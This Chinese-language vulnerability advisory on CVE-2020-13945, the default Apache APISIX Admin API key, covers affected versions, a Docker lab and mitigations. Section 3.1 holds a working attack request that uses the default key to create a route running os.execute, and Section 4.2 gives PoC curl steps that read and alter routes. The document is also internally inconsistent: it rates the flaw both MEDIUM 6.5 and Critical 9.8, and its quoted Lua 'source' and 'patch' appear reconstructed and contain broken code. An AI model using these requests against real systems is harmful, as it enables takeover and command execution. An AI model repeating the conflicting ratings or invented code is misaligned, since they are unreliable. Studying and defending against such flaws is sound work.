一、漏洞简介¶
1.1 漏洞背景¶
Apache APISIX 在早期版本中,为了便于开发和测试,默认配置了 Admin API 并使用了默认的 API Key (edd1c9f034335f136f87ad84b625c8f1)。许多用户在生产环境中忘记修改这个默认密钥或未正确配置 IP 白名单,导致管理接口暴露在公网。
1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)¶
| 项目 | 内容 |
|---|---|
| 漏洞编号 | CVE-2020-13945 |
| 危害等级 | MEDIUM / 6.5 |
| 漏洞类型 | Dashboard 未授权访问 |
| 披露时间 | 2020-12-07 |
| 影响组件 | Apache APISIX |
- CVE编号: CVE-2020-13945
- 危害等级: 高危 (High)
- CVSS评分: 9.8 (Critical)
- 漏洞类型: 认证绕过 / 未授权访问
- 影响组件: Apache APISIX Admin API
补充核验信息:公开时间:2020-12-07;NVD 评分:6.5(MEDIUM)。
二、影响范围¶
2.1 受影响的版本¶
- Apache APISIX 1.2
- Apache APISIX 1.3
- Apache APISIX 1.4
- Apache APISIX 1.5
2.2 不受影响的版本¶
- Apache APISIX 2.0 及以上版本(已修复默认配置)
- 已正确配置 admin_key 且限制 IP 访问的实例
2.3 触发条件(如特定模块、特定配置、特定运行环境等)¶
- 启用了 Admin API(默认启用)
- 未修改默认的 admin_key (
edd1c9f034335f136f87ad84b625c8f1) - Admin API 端口暴露在公网或不可信网络
- 删除或未配置 IP 访问限制规则
三、漏洞详情与原理解析¶
3.1 漏洞触发机制¶
攻击者可以通过以下步骤利用此漏洞:
- 探测目标: 扫描常见端口(9180、9080)寻找 APISIX 实例
- 使用默认密钥: 在 HTTP 请求头中添加
X-API-KEY: edd1c9f034335f136f87ad84b625c8f1 - 访问管理接口: 调用 Admin API 执行任意操作
示例攻击请求:
# 获取所有路由信息
curl -X GET http://target:9180/apisix/admin/routes \
-H "X-API-KEY: edd1c9f034335f136f87ad84b625c8f1"
# 创建恶意路由(可能导致 RCE)
curl -X PUT http://target:9180/apisix/admin/routes/1 \
-H "X-API-KEY: edd1c9f034335f136f87ad84b625c8f1" \
-H "Content-Type: application/json" \
-d '{
"uri": "/evil",
"plugins": {
"serverless-pre-function": {
"phase": "access",
"functions": ["return function(conf, ctx) os.execute('whoami') end"]
}
},
"upstream": {
"nodes": {
"127.0.0.1:80": 1
},
"type": "roundrobin"
}
}'
3.2 源码层面的根因分析(结合源码与补丁对比)¶
问题根源(基于 APISIX 1.5 及之前版本):
在 conf/config.yaml 中的默认配置:
apisix:
admin_key:
- name: "admin"
key: edd1c9f034335f136f87ad84b625c8f1 # 默认密钥,未强制修改
role: admin
在 apisix/admin/init.lua 中的认证逻辑:
function _M.check_token(conf)
local admin_key = core.request.header(ctx, "X-API-KEY")
-- 问题1: 未强制检查密钥是否存在
if not admin_key then
-- 某些早期版本对特定路径未严格校验
return true
end
-- 问题2: 简单的字符串比较,容易被暴力破解
for _, key_conf in ipairs(conf.admin_key) do
if key_conf.key == admin_key then
return true
end
end
return false, {error_msg = "Invalid API key"}
end
补丁修复方案(APISIX 2.0+):
function _M.check_token(conf)
-- 增加安全检查
if not conf or not conf.admin_key or #conf.admin_key == 0 then
return false, {error_msg = "Admin key not configured"}
end
local admin_key = core.request.header(ctx, "X-API-KEY")
if not admin_key then
return false, {error_msg = "Missing X-API-KEY header"}
end
-- 使用常量时间比较防止时序攻击
for _, key_conf in ipairs(conf.admin_key) do
if const_time_compare(key_conf.key, admin_key) then
return true
end
end
return false, {error_msg = "Invalid API key"}
end
配置文件改进:
# APISIX 2.0+ 的安全默认配置
apisix:
admin_key:
- name: "admin"
key: "" # 必须在部署时设置,否则无法启动
role: admin
deployment:
admin:
enable_admin: true
admin_listen:
port: 9180
# 强制要求 IP 白名单
allow_admin:
- 127.0.0.0/24 # 仅允许本地访问
# - 10.0.0.0/8 # 内网访问
四、漏洞复现(可选)¶
4.1 环境搭建¶
使用 Docker 快速搭建受影响的环境:
# 创建测试网络
docker network create apisix-test
# 启动 etcd
docker run -d --name etcd \
--network apisix-test \
-p 2379:2379 \
-e ALLOW_NONE_AUTHENTICATION=yes \
bitnami/etcd:3.4.15
# 启动受影响的 APISIX 版本
docker run -d --name apisix \
--network apisix-test \
-p 9080:9080 -p 9180:9180 \
-e APISIX_STAND_ALONE=true \
apache/apisix:1.5-alpine
4.2 PoC 演示与测试过程¶
步骤1: 验证目标是否存在漏洞
# 使用默认密钥尝试访问
curl -i http://target:9180/apisix/admin/routes \
-H "X-API-KEY: edd1c9f034335f136f87ad84b625c8f1"
# 预期响应(存在漏洞):
# HTTP/1.1 200 OK
# {"node": {...}, "action": "get"}
步骤2: 创建测试路由
curl -X PUT http://target:9180/apisix/admin/routes/999 \
-H "X-API-KEY: edd1c9f034335f136f87ad84b625c8f1" \
-H "Content-Type: application/json" \
-d '{
"uri": "/test-poc",
"upstream": {
"type": "roundrobin",
"nodes": {
"httpbin.org:80": 1
}
}
}'
步骤3: 验证路由创建成功
curl http://target:9080/test-poc/get
# 应返回 httpbin.org 的响应
步骤4: 清理测试数据
curl -X DELETE http://target:9180/apisix/admin/routes/999 \
-H "X-API-KEY: edd1c9f034335f136f87ad84b625c8f1"
五、修复建议与缓解措施¶
5.1 官方版本升级建议¶
- 立即升级到 APISIX 2.0 或更高版本
- 新版本默认要求配置 admin_key
-
提供更完善的 IP 白名单机制
-
升级步骤:
# 备份配置
cp /usr/local/apisix/conf/config.yaml /usr/local/apisix/conf/config.yaml.bak
# 下载新版本
wget https://github.com/apache/apisix/archive/refs/tags/2.15.0.tar.gz
# 更新配置文件格式
# 参考:https://apisix.apache.org/docs/apisix/upgrade-to-2.0/
5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)¶
方案1: 修改默认密钥(最简单有效)
# 编辑 config.yaml
apisix:
admin_key:
- name: "admin"
key: "your-strong-random-key-here-at-least-32-chars" # 修改为强密钥
role: admin
方案2: 配置 IP 白名单
apisix:
admin_key: ...
allow_admin:
- 127.0.0.1 # 本地
- 10.0.0.0/8 # 内网
- 172.16.0.0/12 # 内网
# - 192.168.1.100 # 特定管理主机
方案3: 网络层隔离
# 使用 iptables 限制访问
iptables -A INPUT -p tcp --dport 9180 -s 10.0.0.0/8 -j ACCEPT
iptables -A INPUT -p tcp --dport 9180 -j DROP
# 或使用防火墙只允许特定 IP
firewall-cmd --permanent --add-rich-rule='rule family="ipv4" source address="10.0.0.0/8" port protocol="tcp" port="9180" accept'
firewall-cmd --reload
方案4: 使用 WAF 规则拦截
# ModSecurity 规则示例
SecRule REQUEST_URI "@beginsWith /apisix/admin" \
"id:1001,phase:1,deny,status:403,msg:'APISIX Admin API access blocked',\
chain"
SecRule REMOTE_ADDR "!@ipMatch 10.0.0.0/8,127.0.0.1"
方案5: 禁用 Admin API(如果不需要)
deployment:
admin:
enable_admin: false # 完全禁用 Admin API